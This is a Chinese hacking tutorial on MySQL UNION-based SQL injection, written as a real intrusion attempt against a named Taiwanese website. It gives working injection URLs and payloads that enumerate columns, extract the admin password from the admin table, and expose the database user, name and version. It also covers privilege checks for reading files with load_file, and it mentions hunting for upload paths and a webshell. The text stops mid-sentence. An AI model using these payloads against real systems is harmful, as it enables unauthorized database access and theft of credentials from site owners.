MYSQL
常用注入代码
and (select count(*) from mysql.user)>0/* 判断读取权限
union select 1,concat_ws(0x3a,username,pass
word),3,4 猜解用户名和密码
信息来源:九零后安全技术小组|90 Security Team
(90team.net)转载请注明出处。
知道了字段长度后我们用union select联合查询来列出所有字段
dpp.org.tw/news_conte ... menu=44&;sn=3575 union select 1,2,3,4,5,6,7,8,9,10,11/** //这里我们列出了11个字段,并且以/*结束符告诉MYSQL,命执行完毕。
这里返回 3/11 4 这几个字段
列出字段后就可以在回显的相应的字段上,替换你要
查询的字段名,再from表名.就可以暴出相应的字段内容,这里我们用passwd替换 4 这个字段
如:
dpp.org.tw/news_conte ... menu=44&;sn=3575 and 1=2 union select 1,2,3,passw,5,6,7,8,9,10,11 from admin/*
这里返回密码641223,因为小波入侵过,所以事先知道了用户名,到这里就成功得到后台的管理密码。但是上次被黑之后管理员把后台改掉了,无法通过GOOGLE
搜索到,我也没猜出来,所以后台登陆上传拿SHELL的方法就断了。
下面简单介绍Mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(Root为最高,相当于MSSQL中的SA)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统
利用的方法如下:
在刚才返回的字段3上替换上database()函数,4上替换上system_user()函数,11上替换session_user()函数。
dpp.org.tw/news_conte ... menu=44&;sn=3575 union select 1,2,database(),system_user(),5,6,7,8,9,10,session_user()/**
执行后字段 3,4,11 分别返回 数据库名:dpp 系统用户名:dpp@localhost 连接数据库用户名:dpp@localhost
dpp.org.tw/news_conte ... menu=44&;sn=3575 union select 1,2,3,version(),5,6,7,8,9,10,7/*
返回当前MYSQL数据库版本 5.0.51a ,(5.0以上都支持UNION联合查询)
这样的方法有点麻烦,我们可以用下面的语句只需要替换一个字段就能返回我们上一步列出的的三个函数。
下面我们将语句替换到字段4 , 语句:CONCAT_WS(CHAR(32,58,32),user(),database(),version())
dpp.org.tw/news_conte ... menu=44&;sn=3575 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,7/*
然后在字段4分别返回 用户名 数据库名 MYSQL版本号 并以冒号“:”隔开。
在这里大家可以举一反三,可以分别在字
段3,4,11分别插入语句一次性暴出信息。
OK 收集到N多信息了,我们试试当前数据库用户的权限如何,以便利用 load_file() 这个强大的函数读取敏感文件内容。(小波入侵成功的关键就是利用load_file()读取了数据库文件得到数据库密码)
在注入点后面加上语句:and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
我们执行
dpp.org.tw/news_conte ... menu=44&;sn=3575 and (select count(*) from mysql.user)>0/*
返回错误,应该是网站被黑后管理员给数据库帐户降权了。所以我们也就不能在通过load_file()函数读取敏文件了。这条路也断了,后来我通过猜解 Fckeditor编辑器路径找到几个上传的页面上传文件。但都因为权限
问题无法写入,不过在查找目录的过程中无意发现了某牛人留下的WEBSHELL。不过需要验证所以对我来说也没用。至此整个入侵失败了。
到这里文章还没结束哦
下一步介绍load_file()函数和into outf